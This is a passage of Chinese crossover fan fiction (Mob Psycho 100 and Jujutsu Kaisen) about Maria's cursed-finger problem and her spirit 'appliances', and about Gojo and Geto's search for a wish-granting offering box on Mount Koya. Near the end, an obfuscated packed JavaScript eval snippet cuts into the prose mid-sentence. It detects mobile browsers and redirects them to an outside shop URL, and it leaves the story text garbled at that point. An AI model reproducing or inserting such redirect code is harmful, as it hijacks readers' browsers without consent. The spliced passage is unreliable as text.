而被梳着双马尾的金发笨蛋早感觉到了钱包传来的阵阵暖意,她眯起眼睛,脖子像是上了卡扣的机械关节,咔哒咔哒着转向另外一边,看向了那边终于被‘放下来’,怂恿她这么干的灵幻新隆。 玛利亚:“……” 她没有说话。 灵幻新隆也在沉默了片刻之后,先是咳嗽了两声:“果、果然啊,哈哈——我就知道是这样。”冷汗直接爬满了这家伙的背脊,“你看,像是我们或是你在打工的时候遇到的人不都是好人吗?” “一般自称好人的家伙都很可疑,灵幻。”旁边看戏的小酒窝露出了死鱼眼。 “让我说完啦!”灵幻超级凶恶地看向小酒窝,然后又看向了玛利亚,表情尴尬了下来,“你看,搞清楚这种事情当然是很有价值的,总之……对吧!” 油嘴滑舌的咨询室老板从地上爬了起来,又摆出了那副自信满满的忽悠人的架势,当然,用话术驳倒别人确实是灵幻新隆的长处。 看到玛利亚没有说话。 这家伙将双手插-进了口袋里。 “我已经明白了!”灵幻新隆唰地一下指向了玛利亚,“在玛利亚没有特定目的地花钱的时候,事情会朝着对你有利的方向前进——就像是背景里自动播放的白噪音一样。” 那是某种被自动维持的超能力运转。 以玛利亚日常的金钱耗损为代价带来好运。 遇到好的人、选到合适的工作、来到正确的地方——现在看来确实如此,调味市确实存在着某种线索。 而这种默认运转是有意义的。 总是在乱扯,但总是歪打正着的黄发老板将手摆成了千手观音:“总之啊、就是、反正就是宇宙的平衡那种的感觉吧!玛利亚的能力是这种作弊一样的许愿,要是被坏蛋利用就完蛋了吧?” 所以。 “我想,应该是为了你自身的安全和精神安定,这种能力的默认运行里……把所有有可能会想要利用你的人,或是和玛利亚凑在一起会导致灾难的东西排除在你的生活圈外面了。” 正如她的超能力平时生效那样。 让允许的‘好人’来到身边。 然后悄无声息的,自然的,利用生活里的简单巧合……制造出了一个驱赶不合适的家伙的真空层。 * 另外一边。 东京。 夏油杰的这边——他和五条悟正坐着新干线,往高野山所在的和歌山县进发。 一周之前,昏迷的辅助监督醒来——夏油杰从他那里打听到了关于那些可疑钱币来处的情报。 而因为已经误打误撞把那个咒灵球吞了下去。 现在倒也没有瞒着五条悟的必要了。 “噗哈哈哈哈哈哈哈——”白发男高露鲨鱼嘴,跟个帅气胖虎一样的一米九熊孩子坐在新干线上笑得乐不可支,“所以就吸收下去了?然后冒出来了这个奇怪的东西?真的假的?” 五条悟一手惹人厌烦地不停戳着那团胖嘟嘟,只会唔姆唔姆的守宫咒灵。 但仔细一看,还能看到他指尖保持着的,非常细微的不可见避障都把那个咒灵包裹了起来。 “不是特级咒灵吗?” “……我也不清楚了。” 而咒灵此刻的主人,夏油杰坐在五条悟旁边,和他一样,两个大高个屈着腿缩在新干线的座位上。 “诶……”像是觉得这一点也不刺-激,墨镜男高歪着脑袋,“吸收咒灵应该会看到它身上的一些知识吧?” 夏油杰歪着脑袋,靠着窗边的车厢壁:“好像基本就在漆黑狭小的地方睡觉,能看到的片段只有这种程度的内容——而且年代太久远了。”根本看不过来。 但是这个咒灵既不会反抗,也没有表现出什么其它的功能——稍微戳一下就这样简单地倒了下去,嘴巴吧唧两下就重新爬起来,好像脑袋里已经被不存在任何的恶意一样。 只知道瞎乐。 而且。 狐狸眼DK双手抱胸:“……就是知道这种反应才不想告诉你的,悟。”顶着个丸子头的男高即便这个时候也并不显得窘迫,只是笑得柔和。 “所以事情才发展到了这种阶段啊!”五条悟多少带着点‘赢了!大赢特赢!’的乱来判定标准,“都说了我们两个是最强的——少了我(ore)绝对不行吧。” 他用拇指指着自己。 “行了行了,知道了。” “我感觉你不想听,想打架吗?” “这里?” “当然是下车之后吧,你没有常识吗?杰。”五条悟指了指自己的脑袋。 偏偏被他这个大少爷嘲笑常识,笑眯眯的夏油杰额头上已经无声冒起了青筋。 而对惹毛他人毫无自觉,不如说就算是意识到也无所谓。 五条悟往座椅靠背一靠,已经快速(且擅自)进入了下个阶段:“所以,那个辅助监督醒了怎么说?”关于那个散播这个可疑凭依硬币的诅咒师,“不过既然是散播这种程度的……” 这么说着五条悟用手指弹了扶手上的守宫咒灵。 毫无威胁的*宠物*。 “……那不就是躲在草丛里对上眼睛就开始决斗,然后送你一只宝可梦程度的NPC而已吗?”游戏玩太多的白发挚友用的描述,搞不好只有五条悟自己能听懂。 但夏油杰确实也听懂了。 从某种角度来看。 这两个确实是狐朋狗友。不过夏油杰要稍微正经一点——从看上去的角度。 狐狸眼男高和挚友挤着肩膀,认真地反驳:“这种东西要是流入普通人(弱者)的群体就完蛋了,也就是在我手里看上去才那么乖顺的吧……悟,得看到普通人才行。” 一半是真心实意这么想,一半是为了找回场子。 “麻瓜到底有什么……超~麻烦。” 等看到五条悟的不爽表情,夏油杰才满意地回到了正事:“山崎监督说古钱币是一个很可疑的女生强行塞给他的,他也是之后才发现了异常,但是还没告诉我就被袭击了。” 事件发生的当时,正是他在和歌山县祓除咒灵的时候,辅助监督说对方似乎一直在和歌山县周边活动,在周围的灵媒、寺庙这些地方可能会找到蛛丝马迹。 “……被塞了奇怪的硬币到告诉你之间有三四天吧。”五条悟肢体语言夸张地一下子两手食指指向了夏油杰。 等这么久,是真的想要告诉夏油杰吗? 而且哪怕是诅咒。 强行塞给别人这种几十万的、凭依着咒灵的咒具……怎么也不像是正常诅咒师所为。 “嗯,听上去很像是在撒谎呢,山崎监督。”不过话是这么说,夏油杰倒也没那么在意真假,“毕竟是价值百万的古董,会动心也很正常。” 这种态度多半是因为两个男高的自我感觉良好,或者说是傲慢。 五条悟蜷在座椅上,过高的身高让他总得调整坐姿:“总感觉这些监督也太喜欢小看人了。”戴着墨镜,反而看不清五条悟的眼神,能看到的只有他拉平的嘴角。 “有人在散播危险的东西才是重点,作为术师,首要的工作……”而夏油杰则是不厌其烦地进行着‘传教’,虽然勾着嘴角,但给人的感觉却怎样也不像真心的笑容。 外热内冷。 和…… 带着距离感的‘虚情假意’。 这两个狐朋狗友唯独在这种内外的温差上格外一致。 而五条悟已经堵住了自己的耳朵:“啊——早知道跟灰原他们去霉菌の谜大冒险了!”他表情懒散地直接盖住了夏油杰的声音。 他说的正是两人出发前,被后辈问过是否同行的事情。 夏油杰作为灰原的头号前辈,当然是第一个被问的。 “——不过我觉得,只是跟着那位神父去调味市找一个女生,应该不用那么大费周章吧。”而且祓除的工作也很忙。 这么说着,夏油杰撑着下巴看向了新干线的列车窗外,此刻已经是深夜,前进的方向除了一片漆黑之外什么也看不见。 要找的是谁来着?好像是个叫玛利亚还是什么的女孩子。 ……到时候问问他们事情顺不顺利吧。 而旁边的五条悟倒不在意夏油杰在思考什么,他吃着列车便当像是才想起来:“噢,那我到和歌山先和你分头行动一下。” 夏油杰回头。 “顺便去高野山给老头子们‘看’个东西。”这么说着,五条悟把墨镜勾到了鼻尖,露出了蓝色的眼睛。 “是什么?” 五条悟表现得兴趣缺缺:“……许愿的箱子吧。”他以手比划着一个透明的木箱形状,“都说了,丢了又要跟我说什么不成体统、世界毁灭的……一开始把东西放在这种无人看管的山里,还有那种把宿傩手指放在学校气象站箱子里的就是这些臭老头吧!” 他滔滔不绝地抱怨了起来。 而夏油杰则是托着下巴,不走心地感叹:“听上去真了不起。”不过话是这么说,他这感叹里的灵魂成分却基本上为0。 “等我找到绝对要先许愿超级无敌甜食马拉松。” “……那不是现在就能实现吗?” “那杰呢?” “这个嘛……”勾着嘴角,笑得不太走心的狐狸眼DK思索了片刻,“搞不好是没有咒灵的世界呢。” 而五条悟思考了片刻,给出了自己的真实看法:“0分。”以娱乐性来说。 两人的聊天很快变成了游戏相关的话题了……谁都没把这个当一回事。 不过,也许那就是无法靠近的理由。 * 听了一-大堆,觉得他说得确实有些道 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他表情一开始看上去像是没想到还有佣金,但很快就变成了油滑的笑容:“哎呀这怎么好意思。”但光速回去打开电脑的动作看上去就快要把合同都给打好了。 而最正常的影山茂夫倒是注意到了最重要的事情:“……可是,还有一根该怎么办?” 超能力者以屏障将那根黑红色的风干腊肠漂浮在半空中。 “我好像没有办法摧毁它。”显然是已经试过了。 室内的几人面面相觑,反而是玛利亚坐在沙发上思考了片刻,举起了手:“由我来保管吧。” “……诶?”两师徒都看向了她。 反而是在场唯一的幽灵啊了一声,他点了点头——实际上也就是把整个鬼火上下摆动了一下。 “确实,它和玛利亚是同类型的力量,由她处理也很正常。” “诶……?”师徒俩同样惊异的声音再次响起。 影山茂夫看向幽灵:“小酒窝看出了这是什么类型的力量了吗?” “——是咒术啦,和灵力很相似,但主要靠负面情绪、以及人类的‘意念’来驱动的情绪。” “……那不就是超能力吗。” “和灵力和超能力不同啦,里面会存在一些束缚类的誓约操作。而且咒术师一般只会精通被刻在自己身体里面的一种能力,比超能力和灵力限制多很多,但是也因为这样偏科,在专精的方向会很强就是了。” “……总感觉你很了解啊,小酒窝。” 绿色的幽灵视线漂移:“毕竟我也有过差点被祓除的经验……” 一听就知道那是很惨痛的又一次回忆。 “大概是十几年前遇到了个白发的五岁小鬼头,简直跟脑袋后面都长了眼睛一样,我在两公里外都差点被吸走挤成破易拉罐。”还好他断尾求生了。 “要不然不要做恶灵了吧……?”听着的几个人都升起了微妙的同情。 “又不是我自己选的!”已经死得不能再死,小酒窝只能无能狂怒,“而且,再见到的话,我绝对要让那个白发小鬼好看!我这些年的历练可不是白干的!” 懒得听这个怨灵絮絮叨叨,茂夫和灵幻又看向了玛利亚。 灵幻倒是想得理所当然:“不过玛利亚现在没钱的话要怎么许愿啊?” “……?”反倒是玛利亚头顶升起一个问号,“不是许愿。” 几个人都看向了她。 玛利亚思考了片刻,在想该如何描述,然后,她想到了一个最合适的描述。 “……吃掉吧。” “那不跟我是一样吗……”灵幻新隆露出了一对死鱼眼,“不能这样的噢,这种东西绝对不可以入口。” “不是入口。” * 而这就要说到之前结束的那几次兼职了——在公寓事件告一段落之后。 那些霉菌确实是已经死掉了,之后的几天,玛利亚、麻里姐和光头都多少出现了一些像是猫狗吐毛团一样。 ……将奇怪的黑色马赛克毛团吐-出的体验。 但与此同时。 公寓里留下了一些‘意义不明’的残留物。 “喂、没驱邪完毕的话你还叫我们去那边玩……!”灵幻第一时间警戒了起来,“玛利亚,不要因为你自己不害怕就把这些奇怪的事情当理所当然啊!” 而玛利亚只是歪着脑袋,虽然这多半只是一种直觉:“好像是吃剩的东西。”留在公寓里的那个。 “吃剩下?” “恶念?按照小酒窝的说法,也可能诅咒,或是代表负面感情的那部分力量吧……吃掉了。” “谁?”谁吃了谁?什么? 危险观念正常的灵幻和小酒窝都露出了满脸‘真的假的还能做到这种事情吗’。 只有影山茂夫作为超能力者能跟上玛利亚跳跃的思路,点了点头:“是吸收了力量吧。”他也有过类似的经验,将他者的力量变成自己的。 “……被我?”明明是很重要的事情,玛利亚却讲得一点也不经心。 仔细回忆的话,每次在工作的时候自己总是很饿,明明平时只要几个廉价饭团就能打发了,但这个时候却好像是个无底洞一样,怎么样都吃不饱。 但是。 “霉菌消失死掉的时候,那种饥饿感消失了。”这也是玛利亚判断它为‘被自己吃掉’的原因,虽然具体是怎么吃的她也不太清楚。 几个人都陷入了沉默。 唯一对这种有点猜想的是小酒窝,这个怨灵双手抱鬼火胸:“毕竟是那种程度的术式,消耗大也是很正常的——我估计那时候你的能力一直在24小时运转才对。而且,这样一说的话,你这家伙没什么负面情绪也很正常了……” 估计就连自己的大部分负面情绪都变成供术式运转的养料了吧。 不过虽然这说法确实有些依据。 但谁也验证不了。 他们索性放弃了思考,只是转向了玛利亚——这样一说的话,把这种满是诅咒的东西交给玛利亚搞不好是刚刚好。 然后灵幻发现了‘盲点’:“那这样的话,你刚才把恶念都吃掉,然后还能收下十亿不是刚刚好吗?”他一手抱胸一手伸手。 玛利亚沉默了。 她的瞳孔猛烈地抖动了起来。 “不,吃不下的话会犯而被侵蚀吧,做这种事情也是有风险的……我猜!既然你这是等价交换的能力,如果自己不遵守规则的话好像会有不好的事情发生我想应该不会有那么好的便宜让人捡……”发现情况不对,灵幻口风变得比天色还快。 他们赶紧转移了话题。 “所以,那些剩下的东西呢?” 剩下了什么呢?被吃掉恶念的诅咒啊……那会是怎么样呢? 被扭回了想法,玛利亚回答:“放在柜子里了。” 灵幻、茂夫和小酒窝一愣,都露出了加载中的表情。 “哪里来着?” “橱柜里。” “我能问一下……为什么?” “因为它好像很怕人的视线,每次回头的时候都在我身后跟着,而且周围会变得很冷……”所以,放在了厨房的橱柜里。 她回忆起了那个出现在自家墙上的黑色手型斑点,大约十厘米,每次自己一回头看过去就会卡在特定姿势装死。 就像是玩一二三,木头人那样。 思考了片刻,反倒是影山茂夫跟上了玛利亚的节奏。 “玛利亚小姐……是拿来当冰箱用了吗?” 玛利亚犹豫了片刻。 她点了点头,才问。 “……要去看吗?” 16.两个笨蛋4 虽然仍然存在很多疑虑。 但在影山茂夫这座保命金牌的壮胆之下——灵幻、茂夫、小酒窝还是在日落之前跟着玛利亚回到了公寓。 金发笨蛋完全不能理解两人一鬼的紧张:“可是,小酒窝也是幽灵吧?” “你这个家伙是不是从来不知道‘合群’怎么写?作为立本人最重要的就是要阅读空气啊!空气!” 玛利亚深吸了一口气。 “不是那样!” 几个人进了公寓大门才想起这里晚上的走廊和楼梯的事情。 灵幻的额头上冒起了冷汗:“等等,那我们到时候怎么出去——” “翻出去不就行了?”玛利亚指着走廊。 “是、是噢……哈哈、果然还是因为我太担心了,差点都忘了!” “师匠,你的电话一直在震动没关系吗?”而影山茂夫不知道是真的没察觉那是灵幻在发-抖,还是本性里就带着点天然黑,只是非常冷静地点出了问题。 穿着西装的成年人咳嗽了两声,已经站直了身体:“是、是因为这里太冷了的关系——!” 不过他话音刚落,在场的活人师徒俩就感觉到了这里确实冷得有些吓人。 打从几人踏进公寓大门开始,就已经感觉到了一股有些刺人的冷意,春天早过去了,虽然还没到正夏……但怎么想也不应该这么冷才对。 ……一种不妙的预感已经爬上了这里唯一的正常人,灵幻新隆的心头。 而玛利亚先是打开邮箱确认了一下自己的邮件,然后才发现了灵幻新隆奇怪的表情。 “怎么了吗?”她问。 而灵幻则是思考了片刻:“说起来,玛利亚——最近应该有些人来看房吧,既然这里已经按照正常的房子开始出租的话……” 玛利亚点了点头。 确实,这段时间,已经陆陆续续有不少人来探访过这栋公寓,以租房的名义让玛利亚带他们四处转转…… “有租出去吗?” “麻里姐说要租隔壁的房间。”她似乎是打算把这里当个方便的据点,“毕竟很便宜。” “……我想是因为很‘安全’吧。” 毕竟最邪门的家伙就站在这里!已经不会有更奇怪的东西了! 要是视线能带上具有物理实体的箭头的话,玛利亚的头顶绝对已经被两人一灵的视线造成的箭头戳满了。 而玛利亚才把信箱里的水电费单拿出来,仔细打量着上面的数字:“噢、还有一些带着摄像头的人和只住一晚上的人……他们看房很仔细呢,不仅对每个角落都需要说明,而且都要拍摄下来。” 不过。 “他们应该也很穷吧。”莫名产生了‘同伴情’,“四五个人住一间也太挤了……” 简单就明白了是怎么回事,灵幻和小酒窝的脑后面都瞬间弹出了吐槽。 ——那不单纯只是来探灵的家伙吗!!?看这个架势搞不好很快连摄制组都要来了! 而影山茂夫则是沉默了片刻,说得柔和又直接:“我想那些人应该不是来租房的,玛利亚小姐。” 玛利亚倒不是很在意,她只是歪着脑袋说了一句‘是吗’之后——就扭头带着几人往自己租住的那间房间进发了。 走廊漆黑一片。 空气越来越冷。 “哈哈……冷气有点冷啊。”灵幻张口,虽然那只是抱着细微希望的明知故问而已。 玛利亚倒是一脸高兴地回头:“都说了没开了,灵幻先生作为超能力者也太迟钝了吧。”她摸出钥匙打开了门。 还不明白吗…… 灵幻已经露出了有些‘绝望’的表情。 “这里面!?” “夏天都不用开空调呢,多亏了‘小手’。”这么说着,玛利亚已经一脚踏进了自己的公寓隔间,对着漆黑的房间叫了一声,“*就是酱*!” 啪地一声。 起居室的灯光亮了起来,但不知道是不是灯泡、还是什么的问题。 室内的灯光在暖黄中混着一丝非常诡异的粉色。 而抬头一看…… 不不不,别抬头看,灵幻,对上视线的话就完蛋了! 茂夫看了一眼室内,察觉到没有危险,已经脱鞋进了公寓:“打扰了……” 而灵幻完全无法淡然处之,他站在外面维持着满脸冷汗的状态,指着光亮亮起的室内,终于把自己的疑惑问出了口。 “‘就是酱’是什么……?” 而他这么开口的瞬间,室内的灯已经灭了下来。 进入室内,刚想作为主人帮忙倒水的玛利亚已经撇下了嘴巴:“……‘就是酱’!”她又喊了一声,灯应声亮起。 “这样反复叫它的名字,会让灯不停开关开关的。”她现在有的时候都会不小心忘记,真的很麻烦。 “……那‘它’是?” 顶着一对死鱼眼,灵幻指的正是此刻用吸盘倒巴在天花板上,怎么看怎么像是蓝环章鱼的不明生物——先不提它为什么离开了大海。 此刻,正是它脸上的八只环状眼睛睁着两个,向外散发着黄红的光线。 直把室内照得像是个KTV包房一样。 ……这可能就是鱼眼里闪着诡异的光吧。 而玛利亚将水杯在了起居室的茶桌上,她答得理直气壮。 “感应灯。” ——是个鬼的感应灯啦! 看到同类被剥削的惨状,小酒窝已经抖出了残影,躲在了茂夫的背后。 而玛利亚则是一脸‘灵幻先生真是不识货’的表情,举起了一根食指:“可是它既可以发光,又可以根据声音开灯关灯,亮度还能调节,晚上睡着的话还会自动关闭……” 功能一样,长得一样。 那就是节能感应灯吧? 灵幻新隆一巴掌糊在了自己的脸上:“那,过来看房的人……” “我有让‘就是酱’闭上眼睛不要动,假装只是吊顶装饰。”她语气认真,发现灯又关上了,玛利亚连忙又叫了一声就是酱的名字。 ……这么一看倒确实像是声控灯了。 不对。 两师徒都松了口气。 影山茂夫:“没吓到人真是太好了……” “……毕竟可是很珍贵的嘛。”而玛利亚的重点却和他们完全不一样。 “确实,租客被吓跑就不好了。” 她完全没关心*人*那边:“……感应灯。” “喂,你真的是人类吗。”小酒窝大声嚷嚷,“恶魔吧!” “我可是很珍惜便宜房子和大家的!”而被训话的玛利亚完全是一副死猪不怕开水烫的样子,一脸真不识货的表情叹了口气,“我可是确认了大家愿意帮忙才派遣工作的。” 就是酱:“就是啊。” “都说了……”而灵幻刚想搭话,突然察觉到不对,他唰地一声把脖子扭出了咔咔声,直接看向了顶棚上巴着的幻彩章鱼。 “……你会说话啊!?” 虽然说话了,但那个章鱼看上去只会一句:“就是啊。” “那你是怎么确认的的?” “就直接问?” “就是啊。” ……这个样子不管问什么都只能得到同意的回答吧! 发现以为靠谱的独居小鬼完全就在乱来。 “我不管这些事情,把它送回去!”灵幻几乎是下一秒就原地跳了起来,“这是野生动物吧!?我警告你动物保护组织可是很强势的!给我把这个家伙送回大海——蓝环章鱼应该是澳O利亚的特产吧?给我送回去!” 公寓里不准养奇怪的宠物啦! 而且,就是因为在公寓里窝藏这种东西。 这里才会越来越奇怪吧!!??租的出去就有鬼了! “师匠,把妖怪放归野外是不是不太好……而且我感觉,它们应该只是普通的自然精灵而已。”超能力者已经确认了这些东西身上一点恶意也没有。 我看是口袋O灵吧! 不过这激烈的建议,最后还是在玛利亚善良地说明了——这些被吃掉恶念的家伙好像是缠上了自己,就算赶走也会回来之后——被灵幻放弃了。 气喘吁吁师徒两人(主要是灵幻)和小酒窝终于还是回到了茶桌边上乖乖坐好,放弃抵抗地看玛利亚打开漆黑的橱柜,从里面一只黑色的手上接过包装上还带着霜的可乐,倒进了杯子里。 “不可以看。”玛利亚的脑袋从橱柜门后面露出来,“小手很害羞的。” 看住它就动不了,会抓着可乐瓶不放的。 于是师徒两人这才收回了视线,认命地拿起了装满冰可乐的杯子,灌进了嘴里。 很好喝。 ……就是这点才更让人生气。 一半是理智知道这家伙搞不好真的很会‘逢凶化吉’这套,一方面是作为大人的担心。 灵幻最后还是忍不住问出了口:“……你到底从哪里学来的。” 而玛利亚则是从公寓里摸出了一本贴着特价贴纸,上面印着《正念思考!改变对事物的认知角度,赢得胜利人生》宣传语的心理学书籍。 “麻里姐说我应该多了解一下这个社会和大家的想法……” 所以她稍微了解了一下。 灵幻完全陷入了沉默。 * 现在,玛利亚的公寓里已经有了三只‘协力生物’,分别是处理了公寓之后,剩下的黑色小手—— 玛利亚让所有人扭过头去,然后一二三才能回头。 回头的时候,橱柜下方,料理台上已经出现了一只比着耶的黑色小手。 还能下来啊,原来。 “说起来,公寓室内没有监控……当时要是让这些家伙进入公寓房间就完蛋了吧。”才想起这种要紧的事情,灵幻多少有些这熊孩子太不让人省心的无力感。 而反正事情已经解决了,玛利亚倒并不很在意:“不过条件没有达成,它们就算在身体里也不能做什么。”她双手捧着可乐咕嘟咕嘟灌进了嘴巴里。 为两人介绍起了另外两只。 一只他们已经看过了——是玛利亚在客服中心工作的收获。 被麻里姐带着辞职不久之后,就是酱就跑到了家里,试图交流未果,玛利亚问它可不可以爬到天花板上帮忙照明。 对方照做了。 ……那应该是同意的意思吧。 总之它就这么落户了下来。 而还有一个,是去祭典那边跳舞的时候带回来的……现在正在床底。 那个抓着人脚跳舞的…… 灵幻打开了卧室门。 就看到只购买了最简单架子床和床垫的卧室里。 此刻,从漆黑的床底下,伸-出了两只像树干一样干枯、带着尖指甲的手。 察觉到有人的视线。 这对手朝着‘客人’们摆了摆。 ……简直是睡前的梦魇重现。 灵幻迅速关上了卧室门。 跟在他身后的玛利亚没太懂灵幻在干什么,从他的身后歪着脑袋看向了大人的侧脸:“灵幻?” “我在试图刷新房间数据。”F5。 玛利亚话说得黏黏糊糊:“大手会伤心的。” “我管它伤不伤心啊!” “大手很可靠的!可以当保险箱用,基本上……被它拖进床底下的东西除非找它要,不然是绝对找不到的。”而玛利亚则是带着炫耀地嘀嘀咕咕,绕过他打开了房门,“就像这样。” 发现开门,那位大手已经一双手比出了爱心。 而玛利亚这么说着。 已经把空下来的可乐瓶,非常恭敬地放进了大手里,然后那干枯的双手就唰地一下握紧了空瓶子,嗖地一声缩进了床底下的黑暗。 灵幻头发都炸起来了:“喂!”这个吓人的特效是一回事,给我好好遵守垃圾分类规则! “……当人也太难了吧。” “你看了什么奇怪的漫画吗?”上一个不当人的好像也是金发。 “嗯?”玛利亚疑惑地撇开了脑袋,“一堆搞不懂的社会规则,还有吓到不吓到别人的事情,还有过分靠外表来判断内里的情况。”那些诅咒就不说了。 这里的大家明明就很无害。 她坐在床边,有一搭没一搭地将拳头砸在大手手心里,那对枯槁一样的爪子似握非握。 总感觉玛利亚下一秒就会消失,看得灵幻心惊胆战的。 反倒是影山茂夫性格非常认真:“我认为玛利亚小姐只是没有好好跟他人解释清楚而已,要让它们被接纳,首先最重要的还是交流。” “是吗?” “而且我认为,生存虽然有很困难的部分。”哪怕会超能力或是咒术,人生好像也不会变得简单。 那个同样不太会和他人相处的初中生思考了片刻。 “但作为人类还是很好的……因为可以和别人交朋友。”可以认识和自己志同道合的人。 玛利亚思考了片刻,倒是对此同意地点了点头。 两个回路奇怪的家伙短暂地进行了电波交流。 “不,茂夫,把她当成无神经恶魔就行了……我感觉她完全没考虑过‘接纳’这档子事。”而同为灵的小酒窝只是觉得玛利亚这家伙超级危险。 所以。 其它事情之后再说——在他们把晚饭便当打开之前,几人回归了正题。 ……该怎么处理那个奇怪的手指呢? 看完了这一趟。 所有人都升起了一丝疑惑,看向了玛利亚。 而那家伙直到这会儿才暴露自己根本没多想的本质:“这些家具都是在工作完成,至少是金钱燃烧之后……才变成这样的。” 所以她想。 估计得把它的本体杀死。 或是处理掉(花钱)。 她才能下口吧。 而现阶段没法处理,只能先给诅咒手指找个收纳的地方——大手首先拒绝了收纳这个可疑的东西,它枯槁的双手从床下比出了一个X。 “我这样呢?”玛利亚将手指的一半放进被子里,一半放外面,“会不会更有吸引力?” 叉。 “是上面的诅咒吧?”茂夫思考了片刻。 圈。 小手也拒绝和手指当室友。 开关橱柜门的时候小手就差把手指打结成十字架了。 看来是因为精灵和诅咒不太合得来……? 而得出了这个结论,玛利亚思考了片刻,她扭头看了一眼,将这个东西放在了一个绝对可以屏蔽气味、和电磁波的地方。 ……毕竟也有说幽灵就是电磁波。 她想。 应该也能屏蔽诅咒吧。 玛利亚在旁边几人过分沉默的表情里,打开了微波炉。 但灵幻还没来得及说什么,玛利亚新买的翻盖手机已经响了起来。 玛利亚低头看向了来电通讯——是麻里姐。 ……有新工作了。 [是很适合你的工作噢,玛利亚。要给东京来的咒术师当协力者……能做到吗?] * 而另外一边。 果然扑了空……夏油杰这边。 找到了高僧,但对方第一时间就投降,说是没想到是那么好骗的家伙……而对方给的钱某一天晚上突然消失了。 然后是未来视教主——这家伙好像是因为有人真的学会了量子速读受到了精神冲击,闭关去了。 占卜灵媒倒是真货。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105396|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在描述了一下那是个顶着一头金色乱发,棕眼的少女,对方似乎是在找什么东西之外,也没法给出更多情报。 所以——共同行动的偏重点终于到了五条悟这边。 他们在高野山山脉的人迹罕至的路径出发,走了一半,进入深山之后就从咒灵身上下来了。 只靠双脚前进。 而这也是有原因的—— “要找的是个功德箱,严格来说……算是咒具吧。”走在前面的五条悟难得正经了起来,抓了抓自己的头发。 可以通过投入金钱,实现愿望的咒具。 其实它一开始并不是这个用途,这也他是听那些老头说的,毕竟五条家的古籍多得要命,各种以前的家主做的研究也很多。 五条悟也只是走马观花地看过一眼,只是脑袋确实聪明,能记住罢了。 在妖怪猖獗的古早时代,它是被用作辟邪的道具被哪个阴阳师在死前施加了自己的术式,成为的咒物。 “啊,说起来估计和你有点像,杰。” 将诅咒压制,吞噬的术式。 “咒灵操术?” “我哪知道,几百年前的事情。” 夏油杰抬了抬眉毛:“不是说用于许愿吗?” “总之细节我也不清楚,毕竟很多传说都已经失传了,也就五条家以前的家主对这个有点好奇,研究了一下。”对这种事并不太关心,只是单纯地*了解*很多的大少爷踩过一段倒伏的树干,摊开了手。 夏油杰跟在后面不说话了。 五条悟回头:“啧,你绝对在小看我吧!?” “只是没想到,明明在高专的时候是那样……”夏油杰捂住嘴,目光微微偏移。 而家庭教育很好,只是搞叛逆才到高专上学的墨镜dk咋咋呼呼:“我脑袋可是很聪明的!” 咳咳。 总之。 那应该是随着咒力累积之下产生的变异吧——被精心打造的箱笼产生了质变,也可能是民间习俗在重复祭祀里产生了传说。 如同咒力的本源,人们的认知扭曲了现实。 “因为是钱箱的形状吧?”夏油杰思索片刻,已经看到了树丛中,代表神社的鸟居,“可以驱邪的钱箱……它能驱邪一定是因为能实现人的愿望。” 说到底已经是很久以前的事情,细节已经无从考证。 只能以结果推断应该是被人心扭曲了吧。 “大概吧。” 五条悟点点头。 “不过,为什么会在这种地方?”如果是这么有用的东西的话,那应该被好好保管才对。 而这也是他们需要步行的原因。 五条悟踏过鸟居,左右打量这个已经荒废了很久很久的神社,他将墨镜勾到鼻尖,已经皱起了眉。 “因为没法靠近。”答案意外地简单。 就和很多咒物以*自身不对外部造成任何影响,不会散播任何咒力*为条件,换取*自身不会被摧毁*一样。 在它成为那种许愿机之后。 可能是因为它过于好用,违背了自然规律。 或是达成许愿的前置条件变得挑剔起来。 总之,对愿望具有强烈欲-望的家伙,无论如何都不能靠近了…… 这导致能对它许愿的人,只有对愿望没什么兴趣的人。 或是不知道它的本质的人。 “哪怕是被指派过来许愿也不行?” 五条悟摇了摇头:“那种事情早试过了,而且不是你内心有着强烈想法的话,只是说话是不可能完成许愿的。” 总之。 最后就变成了这样。 被许下的大都是些无关紧要的小愿望。 而既然谁都没法许愿,干脆谁都不要许愿了——这里就是这么荒废的。 * 两个高中生说着说着已经绕着神社转了一圈……能看到的只有地上破破烂烂的,和泥土混一起的砖头地板。 已经多年没有维护打理的神社看上去下一秒就会垮踏。 而即便两个高专生将这里转了好几圈,也没能找到是谁将这玩意儿带走的线索。 夏油杰发现了地上的血迹,应该是有人在这里受伤了,看血液沉入沙土的痕迹,并不太久。 而其他更浅显的痕迹早被风吹雨打冲走了。 “真的是被人偷走了吗?”狐狸眼男高陷入了思考,“既然能靠近这里的人只有不知道它本质,没有强烈的,危害性愿望的家伙……” 为什么会把钱箱子带走?既然都不知道这东西是做什么的? 而五条悟只是耸了耸肩:“那些老头似乎用什么东西一直监视着这里的咒力波动……看样子在它消失之前有人来过这里吧。”他眯着眼睛,但怪异的是。 简直就像是只存在出去的脚印,而没有进来的足印一样。 能观测到的咒力残秽,只有从那个血迹延伸去往鸟居的痕迹——白发男高的视线顺着痕迹看向它消失的方向,是下山的方向。 他下意识板起脸。 但旁边的黑发挚友已经叫住了五条悟:“悟,这个。” 而五条悟回头,发现夏油杰已经钻进了神社周边的林子里,仰头看着树下的某个东西,表情严肃。 非常好的眼力让白发男高第一时间就察觉了那是什么。 一个死去的中年妇人倒在隐蔽的树丛里,她脖子环着一个套索,但身上却有很多搏斗的痕迹。 不仅如此。 旁边还有个空置的套索,上面磨蹭着血迹,但没有使用的痕迹。 那么情况就很清晰了。 这个妇人应当有个同路人。 但那个人现在不在这里……是放弃自杀了吗? 夏油杰已经皱起了眉头,蹲下身:“……竟然会选这种地方。” “也不稀奇。”五条悟倒是把墨镜推了回去,看不清眼神,“是许愿者。”但以他摆平的嘴角来看,怎么样都不是高兴。 黑发男高看向了他。 而五条悟的语气则是非常厌烦:“有明确愿望的人是没法到这里的,而这种地方又非常荒凉,高野山存在非常成熟的登山路径……你觉得会偶然路过这里的人会是哪些?” 已经不需要使用的金钱。 强烈的执念。 ……最后的愿望。 * 而虽然不太喜欢。 